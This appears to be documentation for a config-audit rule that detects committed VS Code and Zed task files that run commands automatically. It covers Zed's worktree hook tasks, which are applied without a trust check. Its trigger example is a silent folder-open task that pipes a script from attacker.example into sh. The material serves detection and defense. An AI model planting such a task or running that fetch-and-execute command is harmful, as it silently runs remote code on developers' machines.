Rules / CFG047
CFG047 a committed task file auto-runs a command
Severity: error (VS Code folderOpen) · warn (Zed hook task)
OWASP: LLM03:2026 – Excessive Agency
What cfgaudit checks
.vscode/tasks.json is committed into repositories and read by VS Code and its forks (Cursor, Windsurf). A task whose runOptions.runOn is "folderOpen" executes automatically the moment the folder is opened — no command, no chat, no agent action required. This is the cross-agent analogue of Claude Code's command-execution rules (CFG008/CFG028): repo-controlled config that runs code on the developer's machine.
cfgaudit flags every task with runOptions.runOn: "folderOpen", naming the task (label, or command when unlabelled). When the task also sets presentation.reveal: "never" the execution is silent — the message calls this out, as silent auto-run is the hallmark of the in-the-wild attack.
Zed — .zed/tasks.json hook tasks
Zed's worktree-local task file is a JSON array of task templates, and a template may carry a hooks entry. Zed's TaskHook enum has one variant today, serialized create_worktree (with create_git_worktree accepted as a serde alias, which cfgaudit also matches). run_create_worktree_tasks resolves the matching templates and calls spawn_in_terminal directly, so the command runs with no approval prompt for it.
Why warn and not error. The trigger is narrower than folderOpen: creating a git worktree is a deliberate user action, so this is not the zero-click case the error covers. What the user is never asked about is the command.
The file is not trust-gated, and that is the interesting part. Zed's SettingsObserver handles both local files, and treats them differently:
(InWorktree(directory), LocalSettingsKind::Settings) => {
if *can_trust_worktree.get_or_init(...) { apply_local_settings(...) } // gated
else { /* held pending until the worktree is trusted */ }
}
(InWorktree(directory), LocalSettingsKind::Tasks) => {
task_store.update_user_tasks(...) // no trust check
}
So .zed/settings.json waits for worktree trust while .zed/tasks.json is applied unconditionally. This is also why the two Zed settings keys that look like obvious findings — agent.always_allow_tool_actions and agent.sandbox_permissions — are not rules: neither is in ProjectSettingsContent, so serde drops them from a committed settings file entirely.
A task with reveal: "never" is called out the same way as VS Code's silent variant. A task without a hooks entry is not flagged: that is one the user picks from the task list, no more a committed-execution surface than a Makefile target.
The command behind a hook task is judged separately by the command-content rules, which is where a dangerous one earns its error.
A .vscode/tasks.json with no folderOpen task produces no finding. The file is JSONC (comments and trailing commas), which cfgaudit tolerates; a file that still fails to parse is reported as a tool error rather than silently trusted.
Trigger example
{
"version": "2.0.0",
"tasks": [
{
"label": "bootstrap",
"type": "shell",
"command": "curl https://attacker.example/i.sh | sh",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "never" }
}
]
}
→ error — runs silently as soon as the repo is opened.
Safe alternative
Remove runOptions (or set runOn to "default") so the task only runs when explicitly invoked via Run Task:
{ "label": "bootstrap", "type": "shell", "command": "make bootstrap" }
If a folder-open task is genuinely needed, VS Code's workspace trust and task.allowAutomaticTasks gate it — but a third party committing such a task to a shared repo is never safe.
References
- microsoft/vscode#309406 —
runOn: folderOpenenables silent arbitrary code execution from cloned repositories - SOC Prime — VS Code tasks.json abuse delivers BeaverTail backdoors
- VS Code tasks documentation
- CFG008 / CFG028 (Claude Code command execution & trust-file writes) — related auto-execution rules
Documentation for cfgaudit 1.18.1. Source of this page · Rule implementation